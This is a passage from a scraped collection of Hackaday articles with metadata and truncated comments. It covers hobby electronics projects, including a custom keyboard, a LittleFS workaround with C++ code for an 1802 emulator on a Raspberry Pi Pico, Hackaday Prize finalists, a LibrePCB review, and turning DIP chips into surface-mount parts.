"content": "I used smd at work its ok with the profesdional rework dtation and microdcope i use it ad a hobbyist as well i use large magnifier glass with lamp and fine solder and small tip soldering iron i used s... | 1,760,372,144.569969 | ||
https://hackaday.com/2023/10/05/wed-sure-like-to-strum-the-chrumm-keyboard/ | We’d Sure Like To Strum The Chrumm Keyboard | Kristina Panos | [
"Misc Hacks",
"Peripherals Hacks"
] | [
"flexible PCB",
"keyboard",
"monoblock split",
"split keyboard"
] | If you want something as personal as a keyboard done right, you have to do it yourself. Not quite satisfied with the multitude of mechanical offerings out there, [summific] decided to throw their hat into the ring and design
the Chrumm keyboard
. And boy, are we glad they did.
Between the lovely tenting angle and tilt, the gorgeous flexible PCBs, and the pictures that could pass for renders, [summific] has given us something beautiful to behold that we can only dream of thocking on. Even the honeycomb plate is nice. Oh, but this monoblock split is completely open source.
This Raspberry Pi Pico-powered keyboard features a 3D printable case design without visible screws, and a rotary encoder in the middle. Those palm rests are firmly attached from the underside. Why are the thumb cluster keycaps upside down? It’s not meant to drive you insane; it’s because the contour is more finger-friendly that way, according to some people.
[summific] makes this look easy, but it doesn’t matter, because all the hard work is already done. If you want something easier, start with a
macropad
. Or a
macro pad
, even.
Via
reddit | 11 | 6 | [
{
"comment_id": "6689254",
"author": "Matt",
"timestamp": "2023-10-06T01:09:00",
"content": "Beautiful construction",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6689526",
"author": "Terry D. Miller, MBA",
"timestamp": "2023-10-07T12:56:35",... | 1,760,372,144.626695 | ||
https://hackaday.com/2023/10/04/bleep-remover-censors-those-bleeps/ | Bleep Remover Censors Those **** Bleeps | Maya Posch | [
"Software Hacks",
"Video Hacks"
] | [
"bleep",
"censoring",
"ffmpeg"
] | One of the more interesting cultural phenomena is the ‘bleep’ that replaces certain words in broadcasts, something primarily observed in the US. Although ostensibly applied to prevent susceptible minds from being exposed to the unspeakable horrors of naughty words, the applied 1 kHz censoring tone is decidedly loud and obnoxious enough that its entertainment level falls somewhere between ‘truck backing up’ and ‘loud claxon in busy traffic’. There is thus a definite argument to be made to censor the censoring beep to preserve one’s sanity, which is the goal of [Oona Räisänen]’s
Bleep-be-gone project
on GitHub.
Using a Perl-based wrapper, the versatile ffmpeg framework is used to filter a provided video that was afflicted with bleepitus, before outputting a pristine version where the infernal noise is replaced with blissful silence. This use of silence for censoring naughty words is incidentally
becoming more commonplace
over an ear-piercing beep, but a tool like Bleep-be-gone can be used to hasten the demise of its terror. Considering that the point of the 1 kHz
back-up alarm beep
is to draw a person’s attention to a piece of heavy equipment moving about, there is clearly no good reason why the replacement of a naughty word should warrant a similar drawing of attention. | 20 | 8 | [
{
"comment_id": "6689032",
"author": "a_do_z",
"timestamp": "2023-10-05T02:27:11",
"content": "How long before somebody makes a version that uses AI to unbleep (debleep?) the soundtrack?Or maybe they’d do a simpler version that just inserts a random swear word.Properly trained neural network to plug... | 1,760,372,144.685019 | ||
https://hackaday.com/2023/10/04/using-5v-programmable-logic-here-in-the-2020s/ | Using 5V Programmable Logic Here In The 2020s | Jenny List | [
"Parts"
] | [
"GAL",
"gate array",
"PLA",
"programmable logic"
] | Do you speak GAL? [Peterzieba] does,
and has pulled together a collection of documents and tools so that you can too
. There’s a dividing line in electronic engineering education, between those who were taught about FPGAs, and those who weren’t. Blurring that line slightly is gate array logic (GAL). These devices were a preceursor to the FPGA, with a much simpler structure, and usually in those days UV-erasable in the same manner as an EPROM. And oddly enough, they, or at least their successor compatible parts, are still available, and as handy DIP devices that talk to 5 volt logic.
The guide goes into detail about the parts, the terminology surrounding them, and the CUPL language which raises a few memories for us. There are several possible workflows, including for those not faint of heart, the possibility of writing a fusemap by hand. We’re impressed by that one.
If these devices interest you, our colleague Bil Herd wrote a two-part guide (
part one
, and
part two
) which should answer your questions.
Thanks [Bjonnh] for the tip!
Featured image: “
Commodore Amiga 1000 – sub board – Texas Instruments PAL16L8ACN-0126
” by Raimond Spekking | 29 | 9 | [
{
"comment_id": "6689015",
"author": "Pat",
"timestamp": "2023-10-04T23:12:44",
"content": "GALs were succeeded by CPLDs, which were succeeded by FPGAs. FPGAs represented a big shift because instead of large product terms, you had tons of smaller ones and a much more capable interconnect.CPLDs still... | 1,760,372,144.751598 | ||
https://hackaday.com/2023/10/04/one-string-one-trick-pony-plays-the-lick/ | One-String, One-Trick Pony Plays “the Lick” | Kristina Panos | [
"Musical Hacks"
] | [] | Wouldn’t you love to be able to play a song on a stringed instrument even though you don’t have an iota of musical talent? That’s the idea behind
Strumli
, a single-string instrument built by [Factorem] that plays “the lick”. You know,
the lick
. Chances are, you’ve heard it somewhere before.
Essentially, it’s a pill-shaped bowl with a soundboard. A high-E guitar string is wound around bearings and tuned with a guitar tuner. The lengths of string between the bearings correspond to each note in the lick. Strum it in the right direction, and Bob’s your uncle.
So how the heck did [Factorem] come up with the proper string lengths needed to play the song? After a bit of fancy math involving the equation that represents the relationship between the measurable frequency of a vibrating string under tension and the tension itself, [Factorem] had the overall length of the string. Then it was a matter of finding the frequencies needed to play the lick, along with their corresponding lengths.
Since the string exerts about 80 pounds of tension across the 3D-printed soundboard, some serious internal bracing is required, which [Factorem] figured out in CAD program. All the files are available if you want to build your own. Be sure to check out the build/demo after the break.
Would you rather just build a little harp? Here’s the inspiration for Strumli —
a single-string number with a full octave
. | 14 | 5 | [
{
"comment_id": "6689017",
"author": "reg",
"timestamp": "2023-10-04T23:22:03",
"content": "Interesting idea. I have no interest in a human playable one but it is an interesting concept for things that get played by machine, from rolling ball sculptures to clocks. As long as there is enough tensi... | 1,760,372,144.903176 | ||
https://hackaday.com/2023/10/04/2023-halloween-hackfest-flickering-pumpkin-pin-is-solidly-built/ | 2023 Halloween Hackfest: Flickering Pumpkin Pin Is Solidly Built | Kristina Panos | [
"contests",
"Holiday Hacks",
"Wearable Hacks"
] | [
"2023 Halloween Hack Fest",
"coin cell",
"flickering led",
"flickering leds",
"jack o lantern",
"leds",
"pumpkin",
"pumpkin pin"
] | Now first of all, [Steph] grants that you can already take your pick of several LED pumpkin badges out there on IO. That’s not the point. The point is that
this flickering pumpkin pin
is nicely-built as well as being open source.
Even though it’s fully featured — it flickers, it’s wearable, and it’s lightweight — the build couldn’t be more simple. It’s fancy through-hole LEDs and a coin cell holder, plus a tack pin to stick it through your shirt. But the final result is quite elegant thanks to clever use of PCB layering.
The first version was to get all the layers right to let the light through and embellish the jack-o-lantern’s lines with manufacturer-applied silver solder, but as [Steph] points out, it looked ‘like something a disturbed child might carve into their desk in detention’. So [Steph] enlisted [Mx. Jack Nelson], who improved the artwork.
Pretty much every component does double duty here, including the tack pin — it serves as a switch because it can hold the battery in place. The battery’s edges reflect the glowing light quite nicely around the edge of the pin. And the LEDs beneath the battery prevent it from slipping out. You can see how it goes together in the video after the break. | 9 | 4 | [
{
"comment_id": "6688971",
"author": "Edmund A Chiodo",
"timestamp": "2023-10-04T18:44:32",
"content": "Cute project for my nephew’s son. Parts list/source? Why do the LEDs need no current limiting (e.g. CR2032 doesn’t have enough power)?",
"parent_id": null,
"depth": 1,
"replies": [
... | 1,760,372,144.835544 | ||
https://hackaday.com/2023/10/04/littlefs-the-emphasis-is-on-little/ | LittleFS: The Emphasis Is On Little | Al Williams | [
"Hackaday Columns",
"Retrocomputing",
"Slider"
] | [
"1802",
"cosmac elf",
"littleFS"
] | It used to be that developing for microcontrollers was relatively relaxing. These days, even a cheap micro like the Raspberry Pi Pico has multiple cores, networking (for the W, at least), and file systems. Just like desktop computers. Sort of. I found out about the “sort of” part a few weeks ago when I decided to embark on a little historical project. I wanted a file system with a large file that emulates a disk drive. The Pico supports LittleFS, and I figured that would be the easy thing to do. Turns out the Little in LittleFS might be more literal than you think. On the plus side, I did manage to get things working, but it took a… well — dare I say hack? — to make it all work.
History
I’m an unabashed fan of the
RCA 1802 CPU
, which is, of course, distinctly retro. The problem is, I keep losing my old computers to moves, natural disasters, and whatnot. I’ve had several machines over the years, but they seem to be a favorite target of Murphy’s law for me. I do currently have a small piece of hardware called an
Elf Membership Card
(by [Lee Hart]), but it lacks fancy features like disk drives, and while it could be expanded, there’s something charming about its current small size. So that led me to repurpose
a 6502 emulator for the KIM-1 to act like an 1802 instead
. This is even less capable than the membership card, so it was sort of a toy. But I always thought I should upgrade the Arduino inside the emulator to a processor with more memory, and that’s what I did.
I started out with a Blackpill STM32F board and called the project
1802Black
. The code is a little messy since it started out as [Oscar’s] KimUNO code, and then my updates layered with new updates. Also, for now, I shut off the hardware parts so it won’t use the KimUNO hardware — you only need a Blackpill (or a Pico, see below) and nothing else, although I may reenable the hardware integration later.
It wasn’t that hard to get it running with just more memory. Still, I wanted to run [Mike Riley’s]
Elf/OS operating system
and I also had a pair of Raspberry Pi Picos mocking me for not using them in a project yet. The chip has
excellent Arduino board support
. But what sealed the deal was noticing that you can partition the Pico’s flash drive to use some of it for your program and the rest for
a file system
. You can get other RP2040 dev boards with 16 MB of flash, which would let me have a nearly 15 MB “hard drive,” which would have been huge in the 1802’s day. Sounds simple. If it were, though, we wouldn’t be talking.
Emulated BIOS
ELF/OS and programs that run under it expect a certain BIOS, and the 1802 emulation already hooked many of these calls since other programs are written to use the BIOS, too. A BIOS call that might, say, output a character gets intercepted, and the Arduino code just does the work.
However, with the new filesystem in place, I needed to intercept and flesh out the basic file system API. There’s nothing exotic here. Given a disk block address, you just need to read or write a 512-byte sector. I planned to create a file the size of the virtual disk drive. Then, each read or write would just seek to the correct position and do the read or write.
As you might expect, that works. But there’s a problem. It works slowly. I know you might think, “What did you expect? This is a little computer that costs less than $10.” But I mean, like, super slowly. Disk formatting was painful. Even just writing a few sectors would take minutes.
Investigation
I was sure something was wrong, so I did what anyone does today when faced with a technical challenge. I searched the Web. Turns out, I wasn’t the only person to notice the slow performance of LittleFS. But it wasn’t everyone. LittleFS is fine for several things: reading files and writing to the end of files. Apparently, writing to the middle of files is slow. Very slow. I didn’t look at the code, but it appears that if you write to the middle of a file, the file system has to rewrite everything from the point you write to the end of the file. If the file is small, that’s not a huge problem. But with a 10 MB file, it takes forever.
I sort of get it if you were inserting things into a file, but in my case, it was just writing data over in place. It seems like you should be able to isolate the flash block that changes and only reflash it. So my choices were: 1) Fork LittleFS and try to fix whatever makes it perform poorly; 2) Use something else; 3) Work around the problem.
Forking LittleFS would be a big project, and then it is hard to benefit from upgrades. I didn’t really see anything attractive for option 2. So that left me with option 3.
The Final Option
I thought about caching more disk sectors, but since the problem was on writing, that would lead to data loss eventually. If we can’t stop LittleFS from rewriting files, it seemed the answer was to make that take less time. That means smaller files, and, in fact, that solution worked well.
Each disk call has an entry for a head, cylinder, and sector. However, the software treats it as a linear block address, so really, it is just a 24-bit number made of the cylinder and sector. My first attempt was to store each cylinder in a file and remember which file was open. When a new cylinder access occurs, the code opens a file like IDENN.DSK, where NN is the cylinder number. 256 cylinders (about 32 MB) seemed like plenty, although it would be easy to handle more if you have enough flash. Then, the code uses the sector number to seek to a particular spot in that file. If the file is already open, you just do the seek.
This immediately worked better, but still felt a little slow. A little trial and error showed that it was better to break the tracks into quarters (128 sectors each). The files now have a letter suffix like
ide00A.dsk
, followed by
ide00B.dsk
, and so on. After
ide00D.dsk
, the numbering scheme moves to
ide01A.dsk.The
read and write calls use the same logic, so I wrapped it up in
ideseek
:
int ideseek(uint8_t h, uint16_t c, uint8_t s)
{
unsigned newpos;
if (!dis_diskled) digitalWrite(DISKACT, 1); // light stays on if error!
if (h != 0 )
{
Serial.println("Bad head");
return -1;
}
if (c > MAXCYL) // too big?
return -1;
newpos = (s&0x3F) * sizeof(sector); // computer position
if (c != currentcy || ((s&0xC0)!=(currsector&0xC0))) // see if we already have the file open
{
int subtrack = (s & 0xC0) >> 6; // no, so build the name
char subname[] = "ABCD";
sprintf(fname, "/ide%02x%c.dsk", c,subname[subtrack]);
if (currentcy != 0xFFFF) // if a file is already open, then close it
{
fide.close();
}
fide = LittleFS.open(fname, "r+"); // open for read/write (assumes file exists)
if (!fide)
{
fide = LittleFS.open(fname, "w+"); // oops, create file
}
if (!fide) // couldn't open or create file!
{
return -1;
}
currentcy = c;
currsector = s;
if (!fide.seek(newpos, SeekSet)) // go to the right place
return -1;
cpos = newpos + sizeof(sector); // for next time
}
else // file already open
{
if (cpos!=newpos) // see if we are already there
if (!fide.seek(newpos, SeekSet)) // no so do a seek
return -1;
cpos = newpos + sizeof(sector); // this is where head will be next time
currsector = s; // remember where we are
}
if (!dis_diskled) digitalWrite(DISKACT, 0); // DISK led off
return 0;
}
Now, when LittleFS needs to write an entire file, it won’t be larger than 32 KB, which seems to work well enough. Seeking seems to be expensive, so the code knows that each BIOS call only reads or writes a single sector and adjusts its idea of the current position accordingly. If you ever called
ideseek
for another reason, this would be dangerous since each call primes the next call to think the current position is a sector beyond the last one.
In Practice
If you want to see the OS running on this file system, I have a few quick and dirty demo videos below. Or grab a Raspberry Pi Pico and learn something about the 1802. By the way, my intent here is not to knock
LittleFS
. It does great for storing small configuration files and logging data that tends to stream to the end. Those are the overwhelming use cases. I could have bit the bullet and used the flash interface directly, which would have probably been a lot smarter and faster. If you wonder why anyone wants to run a disk operating system on old hardware — real or emulated — we’ll refer you to our
thoughts on retrocomputing
. | 15 | 6 | [
{
"comment_id": "6688947",
"author": "Jason Belec",
"timestamp": "2023-10-04T17:19:56",
"content": "Hahahahahahaha try it on ESP8266-01s, your working with a lot of room!!! We deploy a lot of these in production and wrapping your head back around the good old days when so much amazing tech is being ... | 1,760,372,144.956727 | ||
https://hackaday.com/2023/10/04/hackaday-prize-2023-the-wildcard-finalists-are-here/ | Hackaday Prize 2023: The Wildcard Finalists Are Here | Tom Nardi | [
"contests",
"Hackaday Columns",
"Slider",
"The Hackaday Prize"
] | [
"2023 Hackaday Prize",
"wildcard"
] | We’re in the endgame now — there’s just about a month to go before the final results are announced for the
2023 Hackaday Prize
, which means all of our finalists are in a mad rush to put the finishing touches on their respective projects. Today, ten more hackers are about to feel the heat as we announce our final group of finalists from the
Save the World Wildcard
round.
As finalists, each of these projects has been awarded $500 to help further their development. But perhaps more importantly, they are now officially in the running for one of the final six awards, which includes the Grand Prize of $50,000 and a residency at the Supplyframe DesignLab.
Robots to the Rescue
Just because we called it the “Save the World Wildcard” doesn’t mean an entry had to
literally
save the world single-highhandedly to qualify. If so, we probably would have offered more than 500 bucks. But as you might imagine, the projects which aimed to help improve the general state of things were certainly favorites among the judges.
With that in mind, it’s perhaps not so surprising that several of the finalists have immediate practical applications. The
Agrofelis is as a low-cost programmable agricultural robot
that could perform various tasks on farms that are too small for the sort of heavier automation hardware currently on the market. Built with relatively common components and tools, the bot can perform many tasks, such as mowing, spraying, and spreading seeds or fertilizers. It can even be modified for firefighting — a capability which is likely to become only more important in the coming years.
The
Roktrack from [Yuta Suito]
is another agricultural robot, but one with a more tightly defined scope. This small autonomous mower is designed to cut down weeds that can choke rice crops, but could be put to use in any area that could stand for some automatic trimming. The bot’s Raspberry Pi and camera are used to visually identify pylons that mark the outline of the area in which it is to operate, and can also be used to spot people and animals that may wander by.
Of course, you don’t need to have a farm to benefit from a domestic robot. When medical issues prevented [cele9999] from being able to shovel snow in the winter, they designed SnowByte —
a remote controlled rover that could do the work for them
. Not only is SnowByte cheaper than what’s on the commercial market, the fact that it’s licensed under the Creative Commons means others can modify it for their own purposes without having to reinvent the wheel…or the tread, as the case may be.
Personalized Perfection
This round was also a great opportunity for hackers to show off their passion projects. As such, several of the finalists have a more personal feeling than a lot of what we’ve seen in the competition to date. But luckily for us, these creators have decided to share their designs with the rest of the class. So while some of these projects might have started their lives with a userbase of one, they’ve got the potential to spread out and improve the lives of others on a massive scale.
Consider the
Open Book by [Joey Castillo]
. This fully open source e-reader is an exceptionally personal project in the sense that it allows the individual to build their own reading device and manage their library on their own terms; enabling all the benefits of digital books without a soulless megacorp looking over your shoulder.
Thanks to impeccable documentation, much of it literally written on the device’s PCB, it also provides an ideal platform to modify and extend for users with more specific needs. Perhaps most critically, as the Open Book has gone through several design revisions over the years, it’s been optimized to the point that it could be affordably put into small-scale production. One could imagine hackerspaces churning out Open Books, loading them up with public domain works, and distributing them throughout the community.
The aptly named FindMyCat also started from a very personal place —
[Sahas Chitlange] wanted to find his cat
. But finding the products on the market lacking, he set out to create a comprehensive open source solution that others can benefit from. The end result is an incredibly professional looking hardware and software platform that could easily pass for a commercial product, if it wasn’t for the fact that it’s all being given away for free.
Wildcard Finalists
SnowByte RC Plow
Roktrack – Pylon Guided Mower
AutoDuct Smart Motorized Shutter
The Open Book
Generative kAiboard
Non-Contact Touch Panel
FindMyCat – The Open Source Pet Tracker
Batteryless Supercapacitor Solar Speaker
Long Range Weather Station
Agrofelis Robot
The Final Countdown
With all five challenges of the 2023 Hackaday Prize now concluded, our finalists have the next few weeks to push their projects to the next level. From expanded documentation to improved hardware and software, the judges will be closely looking at the progress made on these projects right up to the last moment. After all the scores are tallied up, we’ll announce the winners of this year’s competition live during Hackaday Supercon on November 4th.
The Hackaday Prize wouldn’t be possible without the support of our sponsors, so we’d like to thank Supplyframe and DigiKey for helping us bring these incredible ideas to life. Good luck to all our finalists — we can’t wait to see who takes home the top honors in this year’s competition.
The
Hackaday
Prize 2023
is Sponsored by: | 5 | 2 | [
{
"comment_id": "6688936",
"author": "Mike",
"timestamp": "2023-10-04T16:21:39",
"content": "> and can also be used to spot people and animals that may wonder by.I’m wondering when we switched to ‘wonder’ to mean ‘wander’. :)",
"parent_id": null,
"depth": 1,
"replies": [
{
... | 1,760,372,145.198293 | ||
https://hackaday.com/2023/10/04/autonomous-wheelchair-lets-jetson-do-the-driving/ | Autonomous Wheelchair Lets Jetson Do The Driving | Tom Nardi | [
"home hacks",
"Medical Hacks"
] | [
"assistive technology",
"computer vision",
"electric wheelchair",
"Nvidia Jetson",
"self-driving"
] | Compared to their manual counterparts, electric wheelchairs are far less demanding to operate, as the user doesn’t need to have upper body strength normally required to turn the wheels. But even a motorized wheelchair needs some kind of input from the user to control it, which still may pose a considerable challenge depending on the individual’s specific abilities.
Hoping to improve on the situation,
[Kabilan KB] has developed a self-driving electric wheelchair
that can navigate around obstacles by feeding the output of an Intel RealSense Depth Camera and LiDAR module into a
Jetson Nano Developer Kit
running OpenCV. To control the actual motors, the Jetson is connected to an Arduino which in turn is wired into a common L298N motor driver board.
As
[Kabilan] explains on the NVIDIA Blog
, he specifically chose off-the-shelf components and the most affordable electric wheelchair he could find to bring the total cost of the project as low as possible. An undergraduate from the Karunya Institute of Technology and Sciences in Coimbatore, India, he notes that this sort of assistive technology is usually only available to more affluent patients. With his cost-saving measures, he hopes to address that imbalance.
While automatic obstacle avoidance would already be a big help for many users, [Kabilan] imagines improved software taking things a step further. For example, a user could simply press a button to indicate which room of the house they want to move to, and the chair could drive itself there automatically. With
increasingly powerful single-board computers
and the state of
open source self-driving technology
steadily improving, it’s not hard to imagine a future where this kind of technology is commonplace. | 9 | 4 | [
{
"comment_id": "6688922",
"author": "J. Cook",
"timestamp": "2023-10-04T15:25:55",
"content": "It’s a neat idea, but I’m pretty sure most people would prefer a control mechanism that lets them move themselves around without having a machine possibly screw it up.",
"parent_id": null,
"depth"... | 1,760,372,145.083571 | ||
https://hackaday.com/2023/10/03/bus-sniffing-the-model-5150-for-better-emulation/ | Bus Sniffing The Model 5150 For Better Emulation | Dan Maloney | [
"Retrocomputing"
] | [
"8088",
"Area 5150",
"bus sniffing",
"demoscene",
"emulator",
"ibm",
"logic analyzer",
"Model 5150"
] | At the risk of stating the obvious, a PC is more than just its processor. And if you want to accurately emulate what’s going on inside the CPU, you’d do well to pay attention to the rest of the machine, as [GloriousCow] shows us by
bus-sniffing the original IBM Model 5150
.
A little background is perhaps in order. Earlier this year, [GloriousCow] revealed
MartyPC
, the cycle-accurate 8088 emulator written entirely in Rust. A cycle-accurate emulation of the original IBM PC is perhaps a bit overkill, unless of course you need to run something like Area 5150, a demo that stretches what’s possible with the original PC architecture but is notoriously finicky about what hardware it runs on.
Getting Area 5150 running on an emulator wasn’t enough for [GloriousCow], though, so a deep dive into exactly what’s happening on the bus of an original IBM Model 5150 was in order. After toying with and wisely dismissing several homebrew logic analyzer solutions, a DSLogic U3Pro32 logic analyzer was drafted into the project.
Fitting the probes for the 32-channel instrument could have been a problem except for the rarely populated socket for the 8087 floating-point coprocessor on the motherboard. A custom adapter gave access to most of the interesting lines, including address and data buses, while a few more signals, like the CGA sync lines, were tapped directly off the video card.
Capturing one second of operation yielded a whopping 1.48 GB CSV file, but a little massaging with Python trimmed the file considerably. That’s when the real fun began, strangely enough in Excel, which [GloriousCow] used as an ad hoc but quite effective visualization tool, thanks to the clever use of custom formatting. We especially like the column that shows low-to-high transitions as a square wave — going down the column, sure, but still really useful.
The whole thing is a powerful toolkit for exploring the action on the bus during the execution of Area 5150, only part of which [GloriousCow] has undertaken as yet. We’ll be eagerly awaiting the next steps on this one — maybe it’ll even help get the demo running as well as
8088MPH on a modded Book8088
. | 6 | 2 | [
{
"comment_id": "6688794",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2023-10-03T22:55:45",
"content": "If he emulates a 5150 on a popular SBC, will it be called a glorious cow pi?B^)",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6688841... | 1,760,372,145.147962 | ||
https://hackaday.com/2023/10/03/review-librepcb-hits-version-1-0/ | Review: LibrePCB Hits Version 1.0 | Jenny List | [
"Hackaday Columns",
"Reviews",
"Slider",
"Software Hacks"
] | [
"eda",
"LibrePCB",
"PCB design"
] | Nearly three years ago at the start of 2020 and before the pandemic hit, we took a look at an up-and-coming player in the world of PCB design.
LibrePCB
is by no means as old as the more established players, but at the time it was joining the ranks of open-source EDA packages with its first early stable releases. It showed a lot of promise but was still a little rough around the edges back then, but in the years since it’s advanced to the extent that
in September they released version 1.0
. That’s a significant moment for any open source package, so it’s time to return and take another look. It’s a cross-platform package with builds available for Linux, Windows, MacOS and FreeBSD, of which I needed the Linux version. There are one or two options to choose from, I went for the appImage as probably the least trouble. Very quickly I was in a new EDA package, and I set out to make a simple Schmitt trigger oscillator as a test project.
Back with another oscillator
My simple oscillator project, as a test
In
my review of the earlier version
I made the observation that the user interface was particularly intuitive for me as a former Eagle user, and in that respect it remains a very easy package to get to know. It fortunately lacks the arcane tricks which users have to learn that plague so many CAD and EDA packages, I fount it all very quick to get back into and soon had my project set up and was creating a schematic. If there was a feature I wish it had at this point it would be to import projects from other packages, in particular Eagle. However it’s understood that this is no easy task, and shouldn’t stop an ex-Eagle user from diving in.
There is now a range of libraries that can be imported into the library manager covering common parts and boards, and I’m guessing that the selection will grow over time as more people use it. An interesting point to note is that the library manager has version control support, so you can mange a library held in a git repository from it.
Moving things around and adjusting to make DRC errors go away is easy.
The error checking works on the fly as you create, and quickly alerts you to such things as unconnected nets, or in the board editor, DRC failures. I was very quickly able to fix all the problems in my schematic, and once I had a layout it was made very simple to work through each one and fix it. A Schmitt trigger oscillator is hardly a complex circuit so I was done pretty quickly, but it was still enough to put the software through its paces.
LibrePCB has a model of treating footprints and schematic symbols as separate objects which are brought together to make a part, and I returned to the 2N3904 through-hole transistor I made last time. There’s now an arc tool, so the only gripe I found is now gone. It also supports a 3D view for which I had no model handy, but here the process was also pretty straightforward.
If you’re an Eagle user, take note
gerbv seems happy with it.
All that remained was to export my Gerbers and take a look in gerbv, where they appear exactly as I’d expect. There’s also the option to upload them directly to a PCB fabricator, with a donation from the fab going to LibrePCB. Currently the selection is limited to Aisler and PCBway, from which we’re guesisng most will be satisfied.
So then, LibrePCB version 1.0. I advised waiting before using it in anger last time, because there were plenty of areas that needed attention back then. I think that in this version they’ve delivered an extremely usable EDA package, and while it’s probably not going to tempt a huge number away from some of the more established players I think it’s a sure-fire winner for ex-Eagle users despite not having an import feature for Eagle projects. I like it so much I’m keeping it on my machine, and I’m going to use it for my projects. | 53 | 16 | [
{
"comment_id": "6688735",
"author": "M",
"timestamp": "2023-10-03T17:07:43",
"content": "Advantages over kicad?P.S. not loving the new comment system. way too many clicks, way too much hassle",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6688737",
... | 1,760,372,145.3808 | ||
https://hackaday.com/2023/10/03/metamaterial-enables-topological-pumping-of-elastic-surface-waves/ | Metamaterial Enables Topological Pumping Of Elastic Surface Waves | Maya Posch | [
"Science"
] | [
"earthquakes",
"synthetic dimension",
"topological"
] | Although it is generally assumed that surface elastic waves (vibrations) — such as those of earthquakes — will travel mostly unimpeded until their energy dissipates, there are ways to ‘steer’ this energy using metamaterials.
Time response of the topological surface wave transport.
(A to C). The magnitude of total displacement field at 0.5 ms, 2.5 ms, and 4 ms, respectively. A 50-cycle tone burst signal centered at 41.88 kHz is simulated on the bottom supercell. (Wang et al., 2023)
A
recent study
by [Shaoyun Wang] and colleagues in
Science Advances
details how a carefully modelled grouping of columns creates what is termed a synthetic dimension. In their experimental setup, it is demonstrated how an applied wave is guided across the metamaterial, rather than spreading out the way which we would expect to see in conventional materials.
Interestingly, in the paper it is also demonstrated how the same technique can be used to create a wave-splitter that diverts the wave energy in two distinct directions. Due to the innate resistance of this type of structure to defects, manufacturing it is not too complicated.
In this experiment the metamaterials were milled out of a block of aluminium on a CNC mill, which makes it seem eminently realistic that it could be scaled up and translated to other applications. Conceivably annoyances like vibrations from road traffic and heavy machinery, all the way up to the destructive energies of earthquakes could one day be reduced,
redirected or even extinguished
using structures as demonstrated here. | 3 | 3 | [
{
"comment_id": "6688738",
"author": "Ostracus",
"timestamp": "2023-10-03T17:29:24",
"content": "I imagine those parked upon fault lines might have a bigger problem.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6688758",
"author": "Paul",
"timestamp"... | 1,760,372,145.975661 | ||
https://hackaday.com/2023/10/03/chip-shortage-engineering-misusing-dip-packages/ | Chip Shortage Engineering: Misusing DIP Packages | Tom Nardi | [
"ATtiny Hacks",
"Featured",
"Interest",
"Original Art",
"Parts",
"PCB Hacks",
"Skills"
] | [
"attiny85",
"dip",
"dip chip",
"footprint creation",
"KiCAD",
"sao",
"soic",
"soic8"
] | After years of seeing people showing off and trading their badge
Simple Add-Ons (SAOs)
at Supercon, this year I finally decided to make one myself. Now for a first attempt, it would have been enough to come up with some cool PCB art and stick a few LEDs on it. But naturally I started with a concept that was far more ambitious than necessary, and before long, had convinced myself that the only way to do the thing justice was to have an onboard microcontroller.
My first thought was to go with the venerable ATtiny85, and since I already had a considerable stock of the classic eight-pin DIP MCUs on hand, that’s what I started prototyping with. After I had something working on the breadboard, the plan was to switch over to the SOIC-8 version of the chip which would be far more appropriate for something as small as an SAO.
Unfortunately, that’s where things got tricky. I quickly found that none of the major players actually had the SMD version of the chip in stock. Both DigiKey and Mouser said they didn’t expect to get more in until early 2024, and while Arrow briefly showed around 3,000 on hand, they were all gone by the time I checked back. But that was only half the problem — even if they had them, $1.50 a piece seems a hell of a lot of money for an 8-bit MCU with 8K of flash in 2023.
The whole thing was made all the more frustrating by the pile of DIP8 ATtiny85s sitting on the bench, mocking me. Under normal circumstances, using them in an SAO wouldn’t really be a problem, but eight hand-soldered leads popping through the front artwork would screw up the look I had in mind.
While brooding over the situation my eyes happened to fall on one of the chips I had been fiddling with, it’s legs badly bent from repeated trips through the programmer. Suddenly it occurred to me that maybe there
was
a way to use the parts I already had…
In Case of Shortage, Bend Pins
The idea was simple enough; I’d program the ATtiny85, carefully bend its legs outward, and then push the chip down firmly onto an ESD mat to get it as flat as possible. From there, I could snip the legs off with a side cutter, but I thought limiting the interaction between the chip and metal tools was probably for the best. As such, the result is a chip that’s flat to the PCB like an SMD component, but with leads that extend much farther out than any traditional package.
Obviously, the body of a DIP chip is still much larger than its SOIC counterpart. But it’s not like I’m trying to build a smartphone here, a small bump on the back of the SAO is unlikely to bother anyone so long as it doesn’t physically collide with the badge it’s getting plugged into.
But of course, a bent chip is only half of the equation. To put this into practice on more than a one-off basis, you’d need a suitable footprint so compatible PCBs could be spun up.
A Word on Footprints
If you only ever used jellybean components in your PCB designs, you could probably go for quite some time before having to design your own footprint. But eventually, it’s going to catch up with you. As the complexity of your projects increases, you’ll inevitably run into a part that doesn’t have a digital representation in your electronic design automation (EDA) tool of choice.
With that in mind, creating custom footprints is a good thing to become familiar with ahead of time — nobody wants to have a project hung up as they struggle to get up to speed with a tool they never used before.
We’ve previously looked at automated tools that will
pull footprints from online repositories and convert them into something KiCad will understand
. This is a great capability to have, but it’s not infallible, and there’s always a chance you’ll run across some oddball component out there that doesn’t have a publicly available footprint; so there’s still value in learning how to do it manually.
As this is a pretty simple footprint, it’s a great example to get started with. Even if you don’t plan on smushing your old DIP8 chips into service as makeshift SMD components, I’d invite you to follow along here if you’ve never used KiCad’s footprint editor. While not presented as a step-by-step guide, it should at least help you wrap your mind around the workflow.
Running the Numbers
Under normal circumstances, the first step in making a footprint would be to consult the datasheet for the part in question. There, you’ll almost certainly find a diagram that describes in precise detail the geometry of the component. Assuming the datasheet is accurate and you don’t flub any of the figures, you should be able to make a footprint without ever having actually seen the physical part itself.
In this case though, our footprint doesn’t correspond with any proper package. With no handy diagram to follow, we’ll need to take some manual measurements before all is said and done. But it did
start
as a normal package, so the ATtiny85’s datasheet still provides some valuable clues.
The main thing we’re looking for here is the size and spacing of the leads. This is labeled as “e” in the diagram, which corresponds to 0.100 inches, or 2.54 mm. BSC means “Basic Spacing Between Centers”, which indicates the measurement refers to the center point of each lead and not the outside edges.
As the leads have a stepped shape, there’s two figures given for each one: “b” for the thin tip, and “b2” for the wider base. We’re after “b” in this case, which the chart says could be anywhere between 0.014 and 0.022 inches. Helpfully, it also gives us a nominal value of 0.018 inches (0.45 mm). We can also see that “L” shows the nominal length of each lead, not counting the base, to be 0.130 inches (3.3 mm).
